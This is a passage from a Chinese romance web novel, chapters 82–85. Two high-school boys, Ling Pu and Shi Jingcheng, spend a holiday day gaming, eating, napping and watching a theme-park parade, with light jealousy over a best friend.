“我们初中就认识,简直是一见如故,他确实是很有意思的人,逗起来很好玩。初中还有婴儿肥,脸颊肉肉的,后来高中又分到一个班” “可以把我那份钱转给我,算你请我一个人,我请其他人。”时璟承打断。 把手机竖起来,示意扫码。 没有了凌蒲的帮助,时璟承不能很快调出收款码,但他现在就想程益添尽快支付一笔费用。 程益添莫名地加了时璟承的联系方式,转给他其中一份钱。 “那个签名照真挺谢谢,我也再给你转一笔。” “不用。我不会收。”时璟承打断,“真想给的话——” 程益添等待。 “把凌蒲初中照片发我。” “” * 三天时光转瞬即逝,仿佛弹指一挥间。 大家都没有反应过来,一切就已经悄然结束,反方向的钟转不回来。 几人踏上回程的路途,还是同样的车站,同样熙熙攘攘人头攒动,心境却截然不同。 “蒲,照顾好自己!”程益添和凌蒲拥抱,“下回见面就是寒假了,也不知道我们能放几天。” “下次我回去找你。”凌蒲承诺。 “好。”程益添答应着,又瞥了旁边一眼,终于忍不住问,“为什么他会来?” 时璟承离他们十步开外,漫不经心地抱臂看车次表,线条在晨光中镀了层金边,偏长的外套下摆轻扬,衬得身影挺拔。 “他问我在哪,我就告诉他了,可能也想来送送你们。”凌蒲说。 程益添用一副“可能吗”的表情看他,凌蒲点头肯定。 “你在这要小心,记得我之前和你说的话。等他开始欺负你的时候告诉我,不管是泡你还是打你,都和我说,我一定翘课来救你。”程益添仔细叮嘱。 凌蒲笑了笑,每回他听程益添说时璟承想泡他的时候,都觉得很搞笑。 远处的时璟承看着车次,余光里倒映出凌蒲和这一堆人你侬我侬的场景,忍耐已经到了极致。 非常不爽,小时候就这样,长大也这样。 对所有人都一样,还冒出了个最好的朋友来,而他时璟承竟然又不是特殊的存在,只是其中之一。 耐着性子等着凌蒲和总统卸任似地一一告别,终于忍不住回头看一眼。 微微眯起眼睛。 只见那个唯一的女生正在和凌蒲说再见,氛围有点不同。 “检票了。”终于等到他们这般车次开始检票的绿色标识亮起,时璟承走过去,不经意地随口提醒。 凌蒲把行李塞给他们:“你们快走吧,不要误车赶不上晚自习。” 他一直目送,直到那几个身影消失在阶梯的尽头,怅然若失的情绪膨胀到了极致。 “这么舍不得?”时璟承说。 “嗯。” 凌蒲闷闷不乐,转过身,从时璟承面前擦过,朝门外走去,乔檬最后送他的挂件在手里一晃一晃。 在这里等了这么久的时璟承再次被当成透明人,耐心告罄,伸手抓住凌蒲的胳膊。 “干什么?”凌蒲抬头看他。 外面一阵风吹过来,他微微瑟缩,朝时璟承身边贴了贴。 时璟承冷着脸替他把外套帽子粗暴地盖上:“天变凉了。” “该让谁破产了?”凌蒲把外套帽子推上去,重新整理好自己的发型,顺嘴问时璟承。 “你。” 第82章 凌蒲笑笑:“让我破产还不容易。把我窗台上的金猪储钱罐砸了就破产了。” 他的全部身家都在里面。 “在哪。你卧室?””对。“凌蒲应道,转过头,”真砸啊。” “嗯。” 凌蒲笑笑:“别吧,这已经是我的第二个储钱罐了。小时候砸过一个小的,已经破产过一次了。” “哦?”时璟承停下脚步,看着凌蒲。 “两三岁的时候吧,好像是为了给别人买礼物。我小时候压岁钱可多呢,不知道为什么送了那么贵的礼物。” 时璟承摩挲一下手腕,轻轻转动手表,底下一抹红色和金色若隐若现,问他:“送了什么。” “忘记了。” 时璟承放下手,冷道:“你记性真差。” “那时候我才不到三岁。”凌蒲说,“你有点太严苛了。” 时璟承不再理会,大步朝前走。 凌蒲跟上去,顺嘴哄道:“以后我会记得的。” “骗子。” “时璟承。前三天和他们玩,明天和你玩。” “玩什么?”时璟承挑眉。 “就是吃吃饭,爬爬山,玩玩游戏啊。”凌蒲把帽子扣得更紧一些,“每次放假我都和朋友这么玩的。” “哦。” “你一般去哪里玩?” “家。” 凌蒲笑道:“想起来了,你告诉过我。那我去你家找你玩,在家里也可以一起打游戏,顺便请你吃饭,你方不方便。” “不方便。” “哦。”凌蒲心里时璟承确实是比较忙碌的。 两人肩并肩走了一段路,天气已经完全凉下来,略微变黄的树叶在空中发出簌簌声响,天地间很安静。 时璟承瞥一眼不再说话的凌蒲:“没诚意。” 凌蒲接收到暗示,上去抱着时璟承胳膊:“求你了,和我玩吧。” “好吧。”时璟承勉为其难地答应。 * 第二天,天色蒙蒙亮。 处在美丽假期的凌蒲用被子抵住下巴,睡得格外香甜。 忽然,一阵铃声响起。 凌蒲皱了一下眉头,迷迷糊糊地翻个身,那铃声却不依不饶。 于是从被子里伸出一只手,摸索两下,按灭。 手机犹豫一下,再次响起。 凌蒲用被子蒙住头,翻滚两圈,非常愤怒地坐起来,顶着一头凌乱的头发接起来:“喂,谁啊。” “我。” “你是谁?现在是假期的早上七点半,为什么要打扰别人睡觉? ”凌蒲带着刚醒的含糊感,语气有点生气。 “时璟承。” “时璟承也不能打扰别人睡觉。” “我在你的小区门口,来接你。你在哪栋楼?” 凌蒲懵懵懂懂好一阵,大脑才接收到信息。 “门口?”他睁大眼睛。 “保安说登记就能进去,需要具体楼号单元号。” “不用麻烦了!我现在就到。” 凌蒲彻底清醒,丢掉电话便扯下睡衣,朝身上一件一件地套衣服。 匆匆洗漱,拔腿就朝外面跑。 “干什么去啊,今天降温了。”钱芷诧异地看着早起的儿子,只觉得太阳从西边升起。 “找同学玩。” 凌蒲一溜烟地朝外跑,从小区里头跑到小区后门,再从小区后门跑到另一个小区后门,穿梭,途中晨跑的人频频侧目,投来赞许的目光。 一路狂奔,终于从之前虚报的小区的大门跑出去。 喘着气,一眼就看到时璟承。 对方身穿一件炭灰色高领羊绒衫,质地看上去很柔软,但衬出清晰的下颌线条,外搭一件裁剪合身的深色外套,身形挺拔俊朗。 微倚着身后车门,看上去已经等待许久,眉目间仿佛落下一层淡霜。 凌蒲站定,微微屏住呼吸,上下打量时璟承,最后落在那头浓黑的头发上。他对小时候的时璟承并无那么高清的印象,但隐约记得头发要比别人黑上不少,现在在天朗气清的秋天里更显得色彩饱和度很高。 “时璟承。”凌蒲叫了一声。 时璟承回过头,瞥他一眼,回身拉开车门。 半晌后,凌蒲坐在车上, 先把翘起的头发压了压,再默默整理衣服,把拉链拉上去。 “谢谢你来接我。”他说,“不过下次晚一点吧,睡到十点左右再出发,昨晚竟然忘了约定时间。” “你好像很喜欢睡,还喜欢吃。”时璟承说。 “每个高中生都需要睡眠,平常起那么早。而且放假难免熬夜”凌蒲忽然望着他,“你刚那句话是不是在含沙射影。” “没有。”时璟承否认。 凌蒲望望他,评估一番,继续说: “中午你想去哪里吃?我请客。对了我昨天给你转的钱怎么没有收,听益添说是你买的单,再怎么也不能让你买单啊。” “一天买单就行了,一天买单你转不转给他?” 凌蒲笑笑:“你怎么也称呼他这么亲切,是不是忘了他姓什么。那不一样,程益添和我在学校里都是有钱一起花的,我也没少请过他吃饭的。” “哦。最好的朋友。”时璟承戴上耳机,“坐车别说话。” 他靠在座椅上,脸朝窗外,闭目养神。 “这么早把我叫醒,自己还偷偷睡觉。”凌蒲嘟囔一句,逐渐入睡。 梦中按摩座椅正为他做着舒适的按摩,车内温度适宜,音乐声轻缓,仿佛漂浮在云端。 时璟承听到旁边逐渐没了动静,睁开眼,望见睡得歪歪扭扭的凌蒲,脸蛋贴在座椅上,被挤起一点,长长的睫毛安静落下,确实是很困。 凌蒲隐约感到有什么在捏他的脸,伸手挡了挡。 “喂,下车了。” 听到时璟承的声音,凌蒲睁眼,看到车子已经停在了目的地。 逐渐醒神,望着后面的别墅,总觉得似曾相识;“我是不是来过?” 没等时璟承说话,他就想起来:“上回你给我喝酒那次,把我带回家了。” “是你自己喝的。”时璟承再次纠正,“打乱了计划。” 凌蒲三步并两步下了车,感叹道:“你家真挺大的,院子里可以开一个面包店。” “为什么要开面包店?” “这样可以吃到新鲜面包。”凌蒲跟着他走进去,经过一个椅子时稍稍愣了下,莫名的熟悉感包裹他。 “时璟承。”他严肃道,“我觉得我上辈子可能来过这,你这椅子后面是不是有个坑?” 想不到真有前世今生,或许他曾是这块地皮的主人。 时璟承无语地看着他:“有坑的可能另有其地。不是上辈子,是十五年前。你小时候参加节目的时候来过这里。” “哦。这样。” 凌蒲点点头。 他走进屋内,看到硕大的客厅和很多个房间,确实是印象愈发深刻,仿佛原本笼罩在泡泡里的记忆被戳开一点。 家里的阿姨正在打扫卫生,听到门响声走出来:“时先生,您回来了。” 时璟承照常点点头。 “阿姨好。”凌蒲清脆地打招呼。 时璟承打开冰箱:“你想喝什么。” “这么多。” 看着琳琅满目的饮料,凌蒲选择困难。 “喝杯鲜榨果汁吧。”阿姨说道,“今天刚去买的水果,橙子和苹果梨都有。还有大石榴,刚上的。” 凌蒲在推荐下,选择了石榴汁。 接着便坐在客厅的沙发上,和时璟承面面相觑。 “玩什么?”时璟承问他。 “你会打游戏吗?我们一起打游戏吧。”凌蒲提议。 “可以。” 时璟承拿起手机,点开一个群聊。 群聊成员有邵晚熠,顾乾还有他,他把这个群聊开了免打扰,几乎没怎么在里面说过话,邵晚熠说话频率最勤,顾乾虽然话少,但每次都会回。 【时璟承:用一下你电竞房@邵晚熠】 【邵晚熠:?你是谁。我还以为这个群聊只有我和你哥能看到】 【邵晚熠:叫声邵哥】 【时璟承:哥@顾乾】 稍微等了会儿,邵晚熠发了个可以。 时璟承波澜不惊地完成一切,带凌蒲去楼上,邵晚熠的电竞房。 其实邵晚熠不怎么打游戏,这是原本打算送给时璟承的礼物,因为所有青少年都会沉迷游戏,装完了之后才想起来旁敲侧击一下,发现时璟承对游戏并没有太迷恋。 于是就无事发生地换了个礼物,把这个屋子作为他打游戏和工作的据点。 凌蒲推开门,虽然已经有了心理准备,但还是超乎想象。 连天花板都进行了改装,氛围等一亮,整个屋子极其炫酷,各种设备应有尽有,都新崭崭的。 “好厉害。你打游戏肯定也很厉害。”凌蒲推理。 “嗯。” 时璟承淡淡地收起桌上邵晚熠的工作笔记本。 “带带我。”凌蒲期待,“我平常不怎么玩电脑游戏。” “可以。” 凌蒲高兴地坐上电竞椅,摸着顶级外设,眼睛发亮。 时璟承坐在旁边,摸索了一番开机。 “我来选吧。我们选这个最难的地图,听同学说很难过去。你带我打这个。” 他百分百信任时璟承,动作没有丝毫犹豫。 等待进入房间的功夫,放松地靠在椅背上,端起石榴汁继续喝,深红的汁液沾在唇上,原本就红润的嘴唇颜色更深,他不在意地用舌头舔了下,兴致勃勃地准备开打。 “开好房了,时璟承快加入。” 时璟承不动声色,实则还在登录界面停顿。其中一个号是他自己的,级别并不高登陆时间已经是很久之前。另一个号则几乎满级,各种值拉满。 一看就是邵晚熠的,这人每天都花点时间玩会儿,而且是绝对的氪金派玩家。 他转眼看了看,旁边清澈的眼神充满期待。 于是拿起手机,在群聊发消息。 【时璟承:邵哥,号借我玩一下@邵晚熠】 第83章 邵晚熠躺在遥远的海滩上,看到这条消息,把墨镜朝下推了推,就着亮光重新阅读这两个字。 仔仔细细确认一遍,问旁边顾乾:”是不是我老眼昏花了,时璟承竟然在不是嘲讽的情况下这么叫我。” “你没老眼昏花。”顾乾替他看了一眼,证实确有此事。 “啧,什么情况下能让这小子这么着急,带妹?” “管那么多。” “那你说除了带妹之外还有什么可能让他像这样低头,而且肯定不是个普通的妹。” 顾乾想了想,竟然没找到话反驳,时璟承的性子他也了解,让他叫邵晚熠一声哥比登天还难。 不过正是因为了解,他觉得邵晚熠的话也挺荒唐。 “到底是个要面子的小屁孩。”邵晚熠笑道,手上倒是立刻把账号密码发过去,不给时璟承拖后腿。 * 时璟承淡定接收,戴上耳机登陆账号,进入房间。 “哇,你的装备也太酷了。”凌蒲忍不住称赞一番,迫不及待地点击开始。 时璟承敲两下键盘,先回忆着操作,在原地试了试。 凌蒲在近旁观赏。 人民币玩家果然不一样,在各种数值拉满的情况下,和无敌版也差不了多少。 一阵眼花缭乱的特效,时璟承发现右上角的击杀人数竟然已经变成了1,不知是什么隐藏的远程攻击。 他信心倍增,准备出发。 忽然感觉有人戳了戳他。 转过头,抬起一点耳机,听到凌蒲和他说:“你好像把我杀掉了。” 凌蒲的电脑屏幕上一片灰色,血条已经掉为了0,脸上带一点难以置信的表情。 “…不好意思。”时璟承从容解释,“先杀一个试一下。” 凌蒲默默凝视。 时璟承伸手压下他的刘海挡住那双眼睛:“去告诉阿姨中午想吃什么。阿姨会做烤面包,你可以让她烤个面包给你吃。” “中午不是出去吃吗?我请你吃饭的。” “晚上再出去。” “好吧,你先玩完这局,下局再带我。” 凌蒲拿了刚才的杯子下楼,时璟承加紧练习。 一局时长不短,经过磨合,时璟承基本能很好地驾驭邵晚熠的氪金账号。 第二局重新带上凌蒲,一路过关斩将,顺利通关。 结束时凌蒲看时璟承的目光里仿佛都有了星星。 肯定道:“你真的挺厉害,被带飞的感觉真不错,对了我还有几个游戏想…” “先吃饭吧。”时璟承淡淡,“下次。” 看了一眼邵晚熠账号里几乎用完的稀有道具,深藏功与名地关掉游戏和电脑, 相信邵晚熠不会介意的,毕竟已经把他哥撬走了。 “下午去哪里玩?” 吃饭的时候,凌蒲问时璟承。 他吃得很香,几乎全情投入,仿佛是百忙之中抽出空来问的这么一句。 他们并没有提前讨论过这天的行程,一切都有点突然。 “你想去哪。” 凌蒲扭捏:“我刚刚刷到旁边乐园三点有巡游,如果你没有别的想去的地方,我们可以去转一下。” “可以。”时璟承批准。 “特儿去不去,要不叫上成深野,人多一点更热闹。” “不去。他有事。” “哦。”凌蒲不以为意,反而忽然想明白了什么,“怪不得你国庆只能待在家里,原来是你的好兄弟丢下你了。” 他嚼嚼嚼,另一只手拍拍时璟承的肩膀,凑近一点:“没关系,我来陪你了。” 眼睛里写满仗义。 “……”时璟承用两根指头推走他鼓起的脸颊。 没一会儿,凌蒲的手机忽然响起来,放下筷子去接:“喂。” “益添?你不是开学了吗。”他笑起来,“这次用的是刘工手机打电话啊,你策反的卧底真是布控全校。” “好的,我会和你们一起发朋友圈的,okok。” 匆匆几句如同接头,凌蒲挂掉电话。 时璟承不咸不淡:“你要陪的人还挺多的。” “不多。他们上学去了,我只陪你一个。” 凌蒲随口道,摸过杯子喝了口水,低头在手机上点着,“我发朋友圈总结一下前三天的游玩,你记得给我点赞。” “我不用朋友圈。”时璟承冷冷。 “一会儿我教你,很简单的。”凌蒲注意力全在手机上,在相册里挑选。 阿姨端上来现烤的面包,笑道:“按照小凌的创意做的,加了巧克力流心,快趁热尝尝,冷了就没有你说的丝滑细腻中隐藏的颗粒感了。” 上了年纪的阿姨转述凌蒲的话,听起来是学了好几遍。 凌蒲抬头:“太棒了阿姨,看起来很好吃,可以去开面包店了。” 一个个精致的热乎面包散发着巧克力的香气,让人垂涎欲滴。 “时璟承,我现在没有手,你可以帮我夹一个吗?” “不可以。” “帮帮忙嘛,冷了就不好吃了,但是我要和程益添他们一起发朋友圈,卡着点呢。” 时璟承拧眉,替他夹起一个。 “啊。”凌蒲张嘴。 张得圆圆的,完全可以容纳一个小面包。 时璟承无奈,调整角度给他塞进去。 动作略显生疏,蹭了一块在脸颊下方,在白皙的皮肤上挺明显。 “好吃。”凌蒲品鉴,“阿姨你太厉害了。” 他砸吧砸吧:“时璟承,我还想要一个虾仁。” 时璟承又夹了一个虾仁给他。 看到这一幕,阿姨的表情中也透着淡淡的震惊,心情不亚于邵晚熠和顾乾,手里的夹子不小心磕在烤盘边缘。 时璟承发现,立刻拧眉不耐地对凌蒲说:“自己吃。” 阿姨才从意外的神情中恢复,觉得这才是这位时少爷的常态,收拾着准备下班。 “好了我发完了,快给我点赞。” 凌蒲抬起头,教时璟承使用朋友圈。 时璟承并非真的不知道,但也由着凌蒲,把手机递过去,看对方教他使用智能手机。 “你看,这样就可以给我点赞。”凌蒲给自己点了个小红心,“你平常想看我朋友圈的时候就点击我的头像,我更新频率很高的。” “哦。”时璟承点头。 凌蒲一瞥,忽然在页面看到和自己同样格式的朋友圈,意外:“你竟然还加了程益添。不是说不加人的吗?当时我都求了你半天才加上,但是你们只见过一面。” “顺手加的。” “双标。”凌蒲不高兴,“还送他那么用心的礼物。” “那我删了?” 时璟承把手机拿回来,顺道看了看程益添的朋友圈。 发现他们文案差不多,带有一点互动性,不过配图显然是各选各的,几乎不怎么一样。 凌蒲选的大多是风景照,在中间放了一张大家的合照。 而程益添沉迷于自己的摄影技术中无法自拔,选的图基本都是人像。 拍得确实还行,当然和模特长得好也有一定关系。 时璟承的目光在其中一张里稍作停留。 里面的主角是凌蒲和那个唯一的女生,两人都穿着登山的冲锋衣,颜值很高,看起来很登对。 女生朝凌蒲这边稍微侧了一点,氛围感十足。 “这是谁?”时璟承问他。 凌蒲重新拿起筷子,瞅了一眼,正要开口,忽然停住。 想起了时璟承在感情上的传闻,这可是被他眼见为实过的。 乔檬可是他之前那个学校里公认最漂亮的女生。 “不告诉你。”凌蒲警惕。 一阵淡淡的沉默,没有人再开口,他们似乎还没有熟到过问对方感情生活的程度。 时璟承撂下手机,想了两秒,把刚才凌蒲点的小红心取消了。 不坦诚的人,不配拥有这个点赞。 一顿饭吃完,凌蒲把碗筷收进厨房:“你别真删程益添哦,我刚刚随便说说。” “我也随便说说。” “哦,这样。” 凌蒲不说话了,看见时璟承上楼,也自然地跟随。 直到闷头走进对方房间,才堪堪停住:“我可以进来吗?” “随你。” 凌蒲站在原地不动,他要做个有边界感的人。 时璟承已经来到了书桌边,一转头看到凌蒲还在门口犹豫。 “进来。”他说,“又不是没进过。” “小时候吗?”得到允许的凌蒲这才走进来,首先感叹好大的房间。 室内整体色调和布置都和时璟承相符,偏冷的色调,但各别细节又很有考究,颇具设计感和高级感。 “这里原来是什么,感觉有点空。”凌蒲望着一个角落,总感觉这里之前有别的布置,空得和周围格格不入。 “秋千。” “秋千?”凌蒲意外,“会在屋子里装一个秋千吗?” “不止。还有滑梯。” 还有遥控赛道,零食柜,和一场失约的等待。 凌蒲笑起来:“看不出来,你小时候还挺有童趣。我之前看了一点节目,感觉你小时候也是酷酷的那种。” “不是给我玩的。” “那能给谁玩,你家里还有第二个小孩子?” “有人说要来玩。放了好几年才拆。”时璟承垂眸,看向那个角落,很多回忆被存放。 他小时候比现在要更孤单很多,任何一抹色彩在黑白灰的世界里都显得明亮,何况是很浓墨重彩的一笔。 转瞬即逝,不如没出现过。 “女孩子呀?”凌蒲没心没肺。 时璟承皱起眉头,瞥一眼。 “你小时候有青梅竹马吗?按理说你会有个门当户对的青梅竹马,然后在国外的。” “在别人房间别说话。“时璟承没好气地打断。 “坐车不让说话,吃饭不让说话,在房间里也不能说话。那别说话好了。“凌蒲仔细看他,”是不是被我说中了,我觉得你有点恼羞成怒。” “闭嘴。” “真有啊。白月光?” 第84章 听到这样的推理,时璟承淡淡微笑:“你不是说很正常吗?” “那你还在外面乱搞,真是有点过分。” “乱搞?”时璟承挑眉。 “你们这些人真的有点坏。” 凌蒲抿起嘴表示拒绝再说话,只是用谴责的目光看着时璟承。 “哦。”时璟承理解了他的意思,“是乱搞。而且你听没听过我们还喜欢搞年轻漂亮的小男孩。尤其那种看上去呆呆的。” 他望着凌蒲。 凌蒲眨巴着眼睛看着他。 “…你应该不会吧。” “不一定。” “算了,这是你的自由。只要别搞我就行,要注意身体健康,不要做违反道德和法律的事情。” 凌蒲叮嘱,同时回撤胳膊,表示和时璟承划清界限。 时璟承无言。 “骗你的。我对年轻小男孩没有兴趣。” “这样啊。我就说你良知未泯。” 凌蒲如释重负,把撤回去的胳膊重新挨上时璟承的,忽然想起什么: “对了,都过十二点了,我要及时领取活动奖励。” 他打开手机,准备登陆游戏,想找个坐的地方。 在房间里扫视一圈,有点为难。 床上不礼貌,桌前太局促,他选择在灰色的地毯上栖身:“这能坐不?” “随你。” 凌蒲原地坐下,柔软的地毯被地暖烤得暖烘烘,和窗外灰白的秋天比起来,宛如宜人的温室。 他把手机先放在一边,随手脱掉外套:“时璟承,我给你看我的库存。” 时璟承走过来,目光落在凌蒲面前,却没停留在手机上。 他看了一眼,又绕到后面去。 开口:“你今早起得很急?” “这是当然了啊,你那么早打电话给我,我一路跑下去的。”凌蒲等待着登陆动画,随口道。 “那难怪。” “怎么了?” “你这件卡通…这件狮子t恤穿反了。” 冰冷的话语和冰冷的内容。 凌蒲猛然一低头,只见衣服正面一片毫无痕迹的雪白,没有他熟悉的狮子图案,领子也要稍高一些。 默默看一眼时璟承,再努力朝背后看过去。 天塌了。 “……” “所以真的很急。”凌蒲强调,“还没有睡醒就出门是件很可怕的事情。” 但还是有点小尴尬,动作变得慌起来。他立刻双手抓住衣服下摆,背过一点身,把衣服掀起小半。 意识到什么,转过头。 就着这个姿势和时璟承对视。 “。” 时璟承垂眸,看到他在宽松t恤下面一截白皙的腰,独属于少年紧实的腰身, 弧度清瘦利落,但凌蒲不一样,那层薄薄的肌肉看起来挺软。 “喂。”凌蒲叫了他一声,时璟承抬起头。 “你看什么。” 时璟承云淡风轻,用很严谨的语气说:“检验一下你的体脂率,看我预估的对不对。” “那对不对?” “大差不差。” “哦。”凌蒲点点头,“我想把衣服换过来,一会儿还出门呢。” 他觉得大家都是男生,回避来回避去的没有必要,他也不是扭捏的人。 但突然脱衣服好像又不礼貌,先和时璟承说一声。 时璟承不屑:“换呗,我…” 听到这两字,凌蒲速战速决,就着动作继续朝上一脱,时璟承转身,视野里还是延迟地留下了一帧。 很完整的画面,如同截图似的,要在页面上停留一阵。 凌蒲把衣服反过来,重新套上。 稍微一拽,依旧松松散散的。他迫不及待拿起手机,展示他的宝库给时璟承看。 里面都是这些年幸幸苦苦起早贪黑攒起来的,十分值得骄傲。 他挨着旁边的时璟承,仿佛还带着刚才温温热热的体温。 “厉害吗?”眼神在期待。 “嗯。” 时璟承勉强肯定。 “这么淡定,这个很难获得的好吗,需要连续签到100天。你知道100天意味着什么吗?” 时璟承推开他的脸,随手拿过一本书来看,屈腿倚在床沿。凌蒲独自玩了一会儿游戏,又打开泡泡龙做任务,不知不觉地歪斜在时璟承身上。 上眼皮变得沉重,直朝下眼皮靠,但依然非常努力地坚持,屏幕上一串一串泡泡落下来,配合着音效。”你平常会午睡吗?“凌蒲含糊地问时璟承。 时璟承以为他又在没话找话:”等会睡。安静。“ 旁边的确没了动静。忽然,时璟承感到肩头一沉。 凌蒲已经挨在时璟承肩膀上睡着,发丝散落在额前,遮挡住一点眉目。 那只白皙修长的手垂在时璟承腿侧,手机缓缓滑落,就要朝中间砸去。 时璟承黑着脸把手机捞起来:”喂。凌蒲。“ 凌蒲稍微移动一点,脸蛋贴上他的颈窝。再热源上蹭了两下,嘟哝:”不要吵。都怪你早上叫醒我。“ 如同婴儿般安稳无损的睡眠,睫毛安静地搁着,让人不忍叫醒他。”下不为例。“时璟承冷道。 凌蒲早已沉睡,听不到他的话。 直到觉得姿势实在难受,才扭动两下试图调整,眉头皱起来。 时璟承犹豫一下,把他丢到床上。 地毯就在床边,这并不是一件很难的事情,凌蒲没有那么重,对时璟承来说能够很轻松地挪动。 凌蒲一落在柔软的被子上,随遇而安地翻了个身,舒展开来,脸蛋挨在枕头上,似乎对这个睡眠环境很满意。 时璟承垂眸,安静地看着他。 描摹五官,感到和小时候同也不同。 不知过了多久,凌蒲一睁眼,看到陌生的天花板,稍稍反应。 手指无意识地朝旁边摸索,直到触及到温度,迅速收回。 转过头,看到他旁边的时璟承。 两人没有盖一床被子,他被放在被子上面,又盖了条薄的。 而时璟承穿着黑色居家服,躺在被子里面。 看起来只是浅眠,眉头轻轻皱着,侧颜在午后的阳光下显得极其完美,线条宛如画中。 凌蒲盯了一会儿,意识才逐渐回笼。 靠,怎么跑到时璟承床上来了。 这人一看就不能容忍卧榻被他人染指,后果肯定很可怕。 虽说整张床很大,两人距离比刚才地毯还远。但凌蒲还是迅速翻身,连滚带爬地准备下床。”去哪里,“时璟承没睁眼,任凭旁边的人蹑手蹑脚,折腾半天,而他在最后一秒开口。 凌蒲被这么骤然一惊,就差从床上滚下去。 “我看时间到了,或许该出发了。”他停顿一下,又为自己解释道,“虽然不知道我怎么到你的床上来的,但应该不是故意的。今天实在太困了,现在清醒了。” “下不为例。”时璟承通知他。 “下回就睡我小时候的房间好了,也不知道还在不在。走走走,去玩完之后请你吃饭。“ 凌蒲见没和他计较,连忙外套一拎,一溜烟地就小跑下去准备出门。 一阵寒风掀起他的刘海。带着独属于冬天的冰凉,透骨的寒意,和之前完全不是一个级别。 想起钱芷说的话,果然是降温了。 他迅速回身,套上外套,但单薄的布料并不起太大效果,不由缩住脖子。 就这一件衣服,不走也得走。 眼一闭心一横,正要硬冲,帽子被人拉住拽了回来,转头对上时璟承的目光。 “不冷?” 时璟承打量着凌蒲,对方被冻得湿漉漉,眉头皱着,眼里带水光,小脸发白,显得唇更红。”给你件衣服穿。“他没等凌蒲开口求他。”这不好吧。“凌蒲推辞。”那你走。“ 时璟承松开手。 一阵狂风裹挟着落叶,叶片喝地面摩擦,发出簌簌声。”……“ 凌蒲跟随时璟承来到衣帽间,衣柜比想象中的还要大和多。 淡淡的高级香在布料之间游曳,和时璟承身上时常若有若无的类似,仿佛被这种气息包裹。 时璟承打开门,随手拿出一件偏厚的灰色运动外套递给凌蒲,金色配饰又有着精致的设计感,并不是真的运动所穿。 凌蒲接过,只觉得质感不俗,他没有穿过这样的款式,但运动外套又不至于让他不自在。 爽快地拢上,衣服布料厚重而且对他来说偏大,再出门时相当温暖。 “谢谢你,时璟承。” “嗯。” * 深秋,天空泛着淡淡的灰与白。 衬得地面上的景物色彩鲜明,仿佛是在一块巨大的幕布上作画。 乐园人声鼎沸,夹杂着隐隐的音乐声。 “快到了。一会儿人可能会有点多,毕竟在假期期间。” 凌蒲叽叽喳喳地和时璟承说话,在旁边一会儿正着走,一会儿倒着走。时璟承则始终保持步调,不紧不慢地揣着大衣的兜。 身边形形色色的路人不少,都有着属于自己的欢乐。 “快看,要开始了…欸。” 凌蒲被旁边的小推车撞了一下,眼看失去平衡,被时璟承一拉,就贴在了怀里。 时璟承只觉得他的世界终于安静了不少,紧接着又感受到怀里的身形。 整体清瘦却并不硌人,掌心温温热热,触感从柔软的灰色运动服传来,并不像刻板印象里那样松垮,绷紧的肌肉带着柔韧感。 的确手感挺好,难怪凌蒲的朋友都很喜欢搂搂抱抱。 推推车的人一个劲儿地“sorry”,站在原地,推车轮儿就一直卡在凌蒲后方。 凌蒲试图把自己撑起来,但位置狭小,几次又失败,重新落回时璟承身前。 “你故意的?” 时璟承的声音从上方传来,让凌蒲觉得雪上加霜。 他朝旁边侧上一步,才终于找到位置放脚。 先回应了推车人的道歉,等人走了之后,他站直道:“不好意思。” 时璟承轻轻捻了捻手指,揣进口袋。 “下不为例。” 第85章 不一会儿,巡游准时开始。 前面人头攒动,他们来得太迟,已然错过了最佳位置。 好在两人身高都不算矮,站在外圈也能看到个七七八八。 “我来给你介绍。”凌蒲自告奋勇。 于是时璟承仿佛订购了电子同声导游一般,许多从未耳闻的信息进入大脑,似乎要让他这趟来得物超所值。 “你看,现在这个角色是小黄人。瘦瘦高高的是Kevin,那和他很像的是Tim,他们俩的区别是Kevin头上有把葱,Tim有大牙缝。那是我喜欢的Otto。” 凌蒲娓娓道来,声音在冷空气里显得懒洋洋,他还像小时候一样喜欢互动:“你喜欢哪个?” 时璟承看着一堆长得几乎一样的黄色玩偶套,眯了眯眼。 不过看着凌蒲期待的眼神,还是随手指了一个。 圆不溜秋的,大眼睛感觉比别的萌点。 “那是Bob,人气很高的,也是个头最小的小黄人,我第二喜欢。”凌蒲转头,“时璟承,看不出来你喜欢这种可爱的。” 他朝玩偶招招手,玩偶也回以他热情的招呼。 一堆在时璟承眼里一模一样的黄色小颗粒终于过去,下面的方阵首个是一头站起来的卡通狮子。 他问凌蒲:“这不是你那个狮子吗?” “不是。”凌蒲说,“这只狮子是艾利克斯。我喜欢的是辛巴,在这里没有版权,得去别的乐园。” 凌蒲偷偷敞开一点外套给时璟承看,露出上面的狮子图案。 时璟承挪开目光,听到被凌蒲提及的乐园,沉思:“那还挺远的,至少得去整整一周。再说吧。” “是啊。”凌蒲接道,“和益添说好了,等放假办个通行证就去。” 沉浸在快乐中的凌蒲没有意识到时璟承忽然不说话了。 一个个方阵列队走过去,都是出名的电影角色,声势浩大,周围的观众都在十分兴奋地拍照。 “侏罗纪公园!”凌蒲拽了拽时璟承的袖子,“恐龙超酷的,你小时候没有迷恋过恐龙吗?” “呵呵。”时璟承冷笑。 “有空的话我还想去恐龙园玩。” “嗯。和程益添去吧。” “倒也可以。”凌蒲犹豫,“不过去年我们寒假就放了不到七天,他估计没有那么多假。” “嗯嗯。那你去学校等他。” “是这样打算的,我到时候也要回去看看以前的老师和同学。” “哦。” “你有空的话可以和我一起去,那里也有很多好玩的。” “呵呵,不打扰了。” 凌蒲专注地看着前面一列列方阵,直到即将结束,抬手看了看时间:“巡游结束之后离闭园还有一阵,我们去玩一个项目吧,来都来了。” “找程益添玩吧。” 凌蒲这才意识到时璟承的不对劲,问道:“怎么了你,和程益添杠上了。他又不在。” “举着他照片玩呗。最好的朋友不能缺席,要不一会儿我戴上他的面具?” 周围的人已经开始散场,很多人离开这个场地,开始朝外走。 “时璟承。”凌蒲怕他也走,拉住他,凑近一点,认真打量他的神情。 时璟承朝后撤了一下,伸手抵住凌蒲的脸。 后面也没给他太多后退的空间,游人如织。但他如果再不阻拦,恐怕凌蒲的睫毛都要戳到他的脸上。 凌蒲笑道,认真说:“程益添是程益添,时璟承是时璟承。你也不一样。” 时璟承有一瞬间的晃神,随即挑眉。 “不在意。” “我在意我在意。”凌蒲抱住他胳膊,脸蛋就自动贴上大衣袖子,“你也是我的好朋友,给我补课还请我出去玩。” 时璟承的脸色稍稍缓和,垂眸看着那个脑袋顶,上面的发丝柔软而浓密:“和程益添比呢?” 脑袋顶陷入沉默。 凌蒲抬起脸:“为什么老和程益添比呀,我和他从初中就认识了。” “那和宋昭比呢?” 凌蒲嘴唇动了动,终究还是没说出什么来。 